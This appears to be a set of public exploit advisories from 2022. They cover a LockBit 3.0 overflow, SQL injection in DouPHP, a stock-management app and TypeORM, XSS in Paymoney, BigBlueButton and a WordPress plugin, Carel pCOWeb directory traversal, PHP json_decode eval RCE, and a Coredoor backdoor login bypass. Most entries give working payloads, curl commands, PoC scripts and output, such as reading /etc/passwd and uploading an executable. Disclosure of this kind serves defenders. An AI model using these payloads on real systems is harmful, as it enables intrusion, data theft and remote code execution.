<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/38745539b71cf201bb502437f891d799.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom Lockbit 3.0<br />Vulnerability: Local Unicode Buffer Overflow (SEH)<br />Description: The ransomware apparently now requires a password to execute as noted by "@vxunderground" E.g. "-pass db66023ab2abcb9957fb01ed50cdfa6a", but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH). <br />Family: Lockbit<br />Type: PE32<br />MD5: 38745539b71cf201bb502437f891d799<br />Vuln ID: MVID-2022-0620<br />ASLR: False<br />DEP: True<br />CFG: False<br />Safe SEH: False<br />Disclosure: 07/03/2022<br /><br />Memory Dump:<br />(b4.1c38): Access violation - code c0000005 (first/second chance not available)<br />eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000<br />eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202<br />a291273d ?? ???<br /><br />0:000> .ecxr<br />eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000<br />eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202<br />a291273d ?? ???<br /><br />0:000> !analyze -v<br />*******************************************************************************<br />* *<br />* Exception Analysis *<br />* *<br />*******************************************************************************<br /><br />Failed calling InternetOpenUrl, GLE=12029<br /><br />FAULTING_IP: <br />LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+1b21e<br />0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]<br /><br />EXCEPTION_RECORD: 0019f688 -- (.exr 0x19f688)<br />ExceptionAddress: 0041b21e (LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x0001b21e)<br /> ExceptionCode: c0000005 (Access violation)<br /> ExceptionFlags: 00000000<br />NumberParameters: 2<br /> Parameter[0]: 00000001<br /> Parameter[1]: 001a0000<br />Attempt to write to address 001a0000<br /><br />PROCESS_NAME: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe<br /><br />ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<br /><br />EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<br /><br />EXCEPTION_PARAMETER1: 00000008<br /><br />EXCEPTION_PARAMETER2: a291273d<br /><br />WRITE_ADDRESS: a291273d <br /><br />FOLLOWUP_IP: <br />+1b21e<br />a291273d ?? ???<br /><br />FAILED_INSTRUCTION_ADDRESS: <br />+1b21e<br />a291273d ?? ???<br /><br />MOD_LIST: <ANALYSIS/><br /><br />NTGLOBALFLAG: 0<br /><br />APPLICATION_VERIFIER_FLAGS: 0<br /><br />IP_ON_HEAP: a291273d<br />The fault address in not in any loaded module, please check your build's rebase<br />log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may<br />contain the address if it were loaded.<br /><br />CONTEXT: 0019f6d8 -- (.cxr 0x19f6d8)<br />eax=00000020 ebx=0019fc00 ecx=0000004a edx=0000029a esi=025724f4 edi=001a0000<br />eip=0041b21e esp=0019fb38 ebp=0019fb48 iopl=0 nv up ei pl zr na pe nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246<br />LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x1b21e:<br />0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]<br />Resetting default scope<br /><br />ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]<br /><br />LAST_CONTROL_TRANSFER: from 0041b26a to 0041b21e<br /><br />FAULTING_THREAD: ffffffff<br /><br />DEFAULT_BUCKET_ID: STACKIMMUNE<br /><br />PRIMARY_PROBLEM_CLASS: STACKIMMUNE<br /><br />BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041<br /><br />STACK_TEXT: <br />00000000 00000000 lockbit3+0x0<br /><br /><br />STACK_COMMAND: .cxr 000000000019F6D8 ; kb ; ** Pseudo Context ** ; kb<br /><br />SYMBOL_NAME: lockbit3<br /><br />FOLLOWUP_NAME: MachineOwner<br /><br />MODULE_NAME: lockbit3<br /><br />IMAGE_NAME: lockbit3<br /><br />DEBUG_FLR_IMAGE_TIMESTAMP: 0<br /><br />FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_lockbit3!Unloaded<br /><br />BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041_BAD_IP_lockbit3<br /><br />Followup: MachineOwner<br />---------<br /><br />0:000> !exchain<br />0019f59c: ntdll!ExecuteHandler2+44 (77729d70)<br />0019ffcc: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+10041 (00410041)<br />Invalid exception stack at 00410041<br /><br /><br /><br />Exploit/PoC:<br />from subprocess import Popen<br /><br />#Discovery/Credits: malvuln<br />#Vulnerability: Unicode Buffer Overflow (SEH)<br />#Disclosure: 07/03/2022<br />#Hash: 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce<br />#MD5: 38745539b71cf201bb502437f891d799<br />#================================================================================================<br />#<br />#Apparently Lockbit 3.0 - Lockbit Black (aka LockShit), now requires a password to execute E.g.<br />#<br />#vx-underground commented on 2022-07-03 18:55:48 UTC<br />#<br />#{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe -k LocalServiceNetworkRestricted -pass db66023ab2abcb9957fb01ed50cdfa6a<br />#<br />#https://bazaar.abuse.ch/sample/80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce/<br />#===============================================================================================<br />#<br />#Supplying a long payload of characters for the -pass or -k switches triggers a Buffer Overflow.<br />#===============================================================================================<br /><br />TARGET="LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe"<br />BANNER="""<br /> __ __ _____ __ _ __ <br /> / / ____ _____/ /__/ ___// /_ (_) /_<br /> / / / __ \/ ___/ //_/\__ \/ __ \/ / __/<br /> / /___/ /_/ / /__/ ,< ___/ / / / / / /_ <br />/_____/\____/\___/_/|_|/____/_/ /_/_/\__/ 3.0<br /> <br /> Unicode Buffer Overflow<br /> By malvuln<br />"""<br /><br />PAYLOAD="A"*666<br /><br />def doit():<br /> Popen([TARGET, "-pass", PAYLOAD], shell=True)<br /><br />if __name__=="__main__":<br /> print(BANNER)<br /> doit()<br /><br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : DouPHP v1.2 Release 20141027 SQL Injection Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0(32-bit) | <br />| # Vendor : https://www.douphp.com/ | <br />| # Dork : "Powered by DouPHP" |<br />====================================================================================================================================<br /><br />poc :<br /><br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] http://127.0.0.1/products_in.php?id=33 <====| inject here<br /><br />[+] http://127.0.0.1/admin/ <====| Login<br /><br /><br />Greetings to :=========================================================================================================================<br /> |<br />jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | <br /> |<br />=======================================================================================================================================<br /></code></pre>
<pre><code>## Title: paymoney-3.3 XSS-Reflected<br />## Author: nu11secur1ty<br />## Date: 07.02.2022<br />## Vendor: https://paymoney.techvill.org/<br />## Software: paymoney-3.3<br />## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/paymoney/2022/paymoney-3.3<br /><br />Description:<br />The parameters first_name and last_name in Users are vulnerable from<br />XSS-Reflected on Paymoney-3.3. The already authenticated users can be<br />hijacking the XSRF-Token and they can use it for malicious purposes on<br />internal and external domains.<br /><br />STATUS: Medium<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/paymoney/2022/paymoney-3.3)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/fhzvyr)<br /><br /><br /></code></pre>
<pre><code>## Title: Stock-Management-System-2020 SQLi<br />## Author: nu11secur1ty<br />## Date: 07.02.2022<br />## Vendor: https://github.com/Dav-ee<br />## Software: https://github.com/Dav-ee/Stock-Management-System<br />## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020<br /><br />## Description:<br />The username parameter appears to be vulnerable to SQL injection attacks.<br />The attacker kan take an access to all acounts on this system.<br />Status: CRITICAL<br /><br />[+] Payloads:<br /><br />```mysql<br />---<br />Parameter: username (POST)<br /> Type: error-based<br /> Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or<br />GROUP BY clause (FLOOR)<br /> Payload: username=RCIdtbFU''' AND (SELECT 9919 FROM(SELECT<br />COUNT(*),CONCAT(0x71787a6271,(SELECT<br />(ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM<br />INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND<br />'LcYi'='LcYi&password=g5X!p2l!Q6<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: username=RCIdtbFU''' AND (SELECT 6942 FROM<br />(SELECT(SLEEP(5)))NOpI) AND 'uUsT'='uUsT&password=g5X!p2l!Q6<br />---<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/urkvz7)<br /><br /><br /></code></pre>
<pre><code><br />Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal<br /><br /><br />Vendor: CAREL INDUSTRIES S.p.A.<br />Product web page: https://www.carel.com<br />Affected version: Firmware: A2.1.0 - B2.1.0<br /> Application Software: 2.15.4A<br /> Software version: v16 13020200<br /><br />Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R<br />applications and systems. It consists of programmable controllers, user interfaces,<br />gateways and communication interfaces, remote management systems to offer the OEMs<br />working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced<br />to the more widely-used Building Management Systems, and can also be integrated into<br />proprietary supervisory systems.<br /><br />Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.<br />Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script<br />is not properly verified before being used to download log files. This can be exploited<br />to disclose the contents of arbitrary and sensitive files via directory traversal attacks.<br /><br />=======================================================================================<br />/usr/local/www/usr-cgi/logdownload.cgi:<br />---------------------------------------<br /><br />01: #!/bin/bash<br />02:<br />03: if [ "$REQUEST_METHOD" = "POST" ]; then<br />04: read QUERY_STRING<br />05: REQUEST_METHOD=GET<br />06: export REQUEST_METHOD<br />07: export QUERY_STRING<br />08: fi<br />09:<br />10: LOGDIR="/usr/local/root/flash/http/log"<br />11:<br />12: tmp=${QUERY_STRING%"$"*}<br />13: cmd=${tmp%"="*}<br />14: if [ "$cmd" = "dir" ]; then<br />15: PATHCURRENT=$LOGDIR/${tmp#*"="}<br />16: else<br />17: PATHCURRENT=$LOGDIR<br />18: fi<br />19:<br />20: tmp=${QUERY_STRING#*"$"}<br />21: cmd=${tmp%"="*}<br />22: if [ "$cmd" = "file" ]; then<br />23: FILECURRENT=${tmp#*"="}<br />24: else<br />25: if [ -f $PATHCURRENT/lastlog.csv.gz ]; then<br />26: FILECURRENT=lastlog.csv.gz<br />27: else<br />28: FILECURRENT=lastlog.csv<br />29: fi<br />30: fi<br />31:<br />32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then<br />33: echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"<br />34: cat carel.inc.html<br />35: echo "<center>File not available!</center>"<br />36: cat carel.bottom.html<br />37: exit<br />38: fi<br />39:<br />40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then<br />41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then<br />42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then<br />43: echo -ne "Content-Type: text/csv\r\n"<br />44: else<br />45: echo -ne "Content-Type: image/svg+xml\r\n"<br />46: fi<br />47: else<br />48: echo -ne "Content-Type: image/bmp\r\n"<br />49: fi<br />50: else<br />51: echo -ne "Content-Type: application/x-gzip\r\n"<br />52: fi<br />53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"<br />54:<br />55: cat $PATHCURRENT/$FILECURRENT<br /><br />=======================================================================================<br /><br />Tested on: GNU/Linux 4.11.12 (armv7l)<br /> thttpd/2.29<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2022-5709<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php<br /><br /><br />10.05.2022<br /><br />--<br /><br /><br />$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd<br /><br />root:x:0:0:root:/root:/bin/sh<br />daemon:x:1:1:daemon:/usr/sbin:/bin/false<br />bin:x:2:2:bin:/bin:/bin/false<br />sys:x:3:3:sys:/dev:/bin/false<br />sync:x:4:100:sync:/bin:/bin/sync<br />mail:x:8:8:mail:/var/spool/mail:/bin/false<br />www-data:x:33:33:www-data:/var/www:/bin/false<br />operator:x:37:37:Operator:/var:/bin/false<br />nobody:x:65534:65534:nobody:/home:/bin/false<br />guest:x:502:101::/home/guest:/bin/bash<br />carel:x:500:500:Carel:/home/carel:/bin/bash<br />http:x:48:48:HTTP users:/usr/local/www/http:/bin/false<br />httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash<br />sshd:x:1000:1001:SSH drop priv user:/:/bin/false<br /></code></pre>
<pre><code>JAHx221 - RCE in copy/pasted PHP compat libraries, json_decode function<br />===============================================================================<br />Several PHP compatability libraries contain a potential remote code<br />execution<br />flaw in their `json_decode()` function based on having copy pasted existing<br />vulnerable code.<br /><br /><br />Identifiers<br />---------------------------------------<br /> * JAHx221 - http://www.justanotherhacker.com/advisories/JAHx221.txt<br /><br /><br />Affected components<br />---------------------------------------<br /> * WassUp Realtime analytics wordpress plugin/compat library -<br />https://wordpress.org/plugins/wassup/<br /> * AjaXplorer Core -<br />https://pydio.com/en/community/releases/pydio-core/ajaxplorer-core-503-released<br /> * FlexoCMS - https://github.com/flexocms/flexo1.source<br /> * Various code -<br />https://github.com/search?p=6&q=if+function_exists+json_decode+eval+%24out&type=Code<br /> * compat_functions.php - http://techfromhel.com<br /><br /><br />Description<br />---------------------------------------<br />This appears to date back to a compatability library published in 2010 and<br />appears in several code bases, with no, or a few variations.<br /><br />The vulnerable code generally share the following characteristic:<br /> * The json_decode function is declared if it does not exist<br /> * some str_replace occurs to transform the json representation to PHP<br /> * eval($out)<br /><br />Since `eval()` is turing complete, it is generally considered unsafe to use<br />it<br />on user controlled or user influenced data, however it is unclear if<br />practical<br />exploitation would be possible due to the likely presence of an existing<br /> json_decode function.<br /><br />```php<br />/**<br /> * compat_functions.php<br /> * Description: Emulate some functions from PHP 5.2+ and Wordpress 2.6+ for<br /> * backwards compatibility with PHP 4.3+ and Wordpress 2.2+, respectively<br /> * @author: Helene D. <http://techfromhel.com><br /> * @version: 0.3 - 2010-09-13<br /> * @since Wassup 1.8<br /> */<br /><br />/**<br /> * Convert simple JSON data into a PHP object (default) or associative<br /> * array. Emulates 'json_decode' function from PHP 5.2+<br /> * @author: Helene Duncker <http://techfromhel.com><br /> * @param string,boolean<br /> * @return (array or object)<br /> */<br />if (!function_exists('json_decode')) {<br />function json_decode($json,$to_array=false) {<br />$x=false;<br />if (!empty($json) && strpos($json,'{"')!==false) {<br />$out =<br />'$x='.str_replace(array('{','":','}'),array('array(','"=>',')'),$json);<br />eval($out.';');<br />if (!$to_array) $x = (object) $x;<br />}<br />return $x;<br />} //end function json_decode<br />}<br />```<br /><br /><br />Proof of Concept<br />---------------------------------------<br />The eval can be exploited a number of ways, both via full or partial<br />control of the json string:<br />```php<br />/* Payload<br />`id`;//{"<br />*/<br />json_decode('`id`;//{"');<br />```<br />or partially controlled content:<br />```php<br />/* Payload<br />{"key":"value");echo `id`;//"}<br />*/<br />json_decode('{"key":"value");echo `id`;//"}');<br /><br />```<br /><br />Credit<br />---------------------------------------<br />Eldar "Wireghoul" Marcussen<br /><br /><br />Solution<br />---------------------------------------<br />Ensure json_decode is present as a native function for your PHP<br />installation.<br /><br /></code></pre>
<pre><code>CVE-2022-31064 - Stored Cross-Site Scripting in BigBlueButton.<br /><br />=========================<br /><br />Exploit Title: Stored Cross-Site Scripting (XSS) in BigBlueButton<br /><br />Product: BigBlueButton<br /><br />Vendor: BigBlueButton<br /><br />Vulnerable Versions: 2.3, <2.4.8, <2.5.0<br /><br />Tested Version: 2.4.7<br /><br />Advisory Publication: Jun 22, 2022<br /><br />Latest Update: Jun 22, 2022<br /><br />Vulnerability Type: Cross-Site Scripting [CWE-79]<br /><br />CVE Reference: CVE-2022-31064<br /><br />CVSS Severity: High<br /><br />CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N<br />Impact score: 7.2<br /><br />Credit: Rick Verdoes & Danny de Weille (Hackify | pentests.nl)<br />=========================<br /><br /><br />I. BACKGROUND<br /><br />-------------------------<br />BigBlueButton is an open source web conferencing system designed for online meetings and online learning. BigBlueButton is a tool used by instructors and teachers, which helps them access to Learning Management Systems, engagement tools and analytics.<br /><br />II. VULNERABILITY<br />-------------------------<br />Users in meetings with private chat enabled are vulnerable to a cross site scripting attack in affected versions. The attack occurs when the attacker (with a XSS payload in the name) starts a chat. in the victim's client the JavaScript will be executed. This issue has been addressed in version 2.4.8 and 2.5.0. There are no known workarounds for this issue.<br /><br />III. Proof of Concept<br />-------------------------<br /><img x onerror=alert()><br /><br />IV. References<br />-------------------------<br />Security advisory https://pentests.nl/pentest-blog/stored-xss-in-bigbluebutton/<br />Patched on BigBlueButton 2.5 (https://github.com/bigbluebutton/bigbluebutton/pull/15067)<br />Patched on BigBlueButton 2.4 (https://github.com/bigbluebutton/bigbluebutton/pull/15090)<br /><br /><br /><br /></code></pre>
<pre><code># Exploit Title: Classified Listing – Classified ads & Business<br />Directory Plugin - Cross site scripting<br /># Date: 29.06.2022<br /># Exploit Author: ASCII<br /># Vendor Homepage: https://www.radiustheme.com/ <https://webim.ru/><br /># Version: 2.2.9<br /># Tested on: 2.2.9<br /><br /><br /><br />Classified Listing – Classified ads & Business Directory Plugin -<br />Cross site scripting<br /><br />POC<br /><br />GET /checkout/?wq3lu</script><script>alert(1)</script>cvqv5=1<br /><br />as a result you'll see the same picture:<br /><br />https://ibb.co/bgCTNsb<br /></code></pre>
<pre><code>typeorm CVE-2022-33171<br /><br />findOne(id), findOneOrFail(id)<br /><br />The findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection.<br /><br />The issue was already fixed from version 0.3.0 onward when we encountered it.<br /><br />Maintainer does not consider this a vulnerability and stated the root cause is bad input validation.<br /><br />On one hand input validation is definitely insufficient. On the other hand this is a function argument that is meant to be fed user input and as such one would think it safe to put user input there.<br /><br />Vulnerable app:<br />```<br /><br />import {<br /> Entity,<br /> PrimaryGeneratedColumn,<br /> Connection,<br /> ConnectionOptions,<br /> Repository,<br /> createConnection<br />} from 'typeorm';<br />import * as express from 'express';<br />import {Application, Request, Response} from 'express';<br /><br />let connection: Connection;<br /><br />async function myListener(request: Request, response: Response) {<br /> if(!connection)<br /> connection = await createConnection(connectionOpts);<br /> const userRepo: Repository<User> = connection.getRepository(User);<br /><br /> const ids: string[] = request.body;<br /> for(const id of ids) {<br /> try {<br /> await userRepo.findOne(id);<br /> } catch(err: any) {<br /> console.log(err);<br /> }<br /> }<br /> response.json({});<br />}<br /><br />@Entity({ name: 'user' })<br />class User {<br /> @PrimaryGeneratedColumn('uuid')<br /> id: string;<br />}<br /><br />const connectionOpts: ConnectionOptions = {<br /> type: 'postgres',<br /> name: 'myconnection',<br /> host: 'db-host',<br /> port: 5432,<br /> username: 'username',<br /> password: 'password',<br /> database: 'mydb',<br /> schema: 'public',<br /> entities: [User]<br />}<br /><br />const app: Application = express();<br />app.use(express.json());<br />app.post( "/findByIds", myListener);<br />app.listen(4444, () => console.log('App started'));<br /><br />```<br /><br />Exploit:<br />curl -v [http://host/findByIds](http://containerip:4444/findByIds)' -H 'Content-Type: application/json' --data '[{"where":"1=1; SELECT pg_sleep(10) --"}]'<br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/49da40a2ac819103da9dc5ed10d08ddb.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Coredoor.10.a<br />Vulnerability: Authentication Bypass<br />Description: The malware runs an FTP server on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.<br />Family: Coredoor<br />Type: PE32<br />MD5: 49da40a2ac819103da9dc5ed10d08ddb<br />Vuln ID: MVID-2022-0618<br />Dropped files: CFS.EXE <br />Disclosure: 06/29/2022<br /><br />Exploit/PoC:<br />C:\>nc64.exe 192.168.18.125 21000<br />220 c400s FTP Server read...<br />USER malvuln<br />331 Password required for malvuln.<br />PASS malvuln<br />230 User malvuln logged in.<br />SYST<br />215 UNIX Type: L8 Internet Component Suite<br />PASV<br />227 Entering Passive Mode (192,168,18,125,194,224).<br />STOR DOOM.exe<br />150 Opening data connection for DOOM.exe.<br />426 Connection closed; Cannot create file C:\temp\DOOM.exe.<br />CWD \Users<br />250 CWD command successful. "C:/Users/" is current directory.<br />PASV<br />227 Entering Passive Mode (192,168,18,125,195,94).<br />STOR DOOM.exe<br />150 Opening data connection for DOOM.exe.<br />226 File received ok<br /><br /><br />from socket import *<br /><br />MALWARE_HOST="192.168.18.125"<br />PORT=50014<br />DOOM="DOOM.exe"<br /><br />def doit():<br /> s=socket(AF_INET, SOCK_STREAM)<br /> s.connect((MALWARE_HOST, PORT))<br /><br /> f = open(DOOM, "rb")<br /> EXE = f.read()<br /> s.send(EXE)<br /><br /> while EXE:<br /> s.send(EXE)<br /> EXE=f.read()<br /><br /> s.close()<br /><br /> print("By Malvuln");<br /><br />if __name__=="__main__":<br /> doit()<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>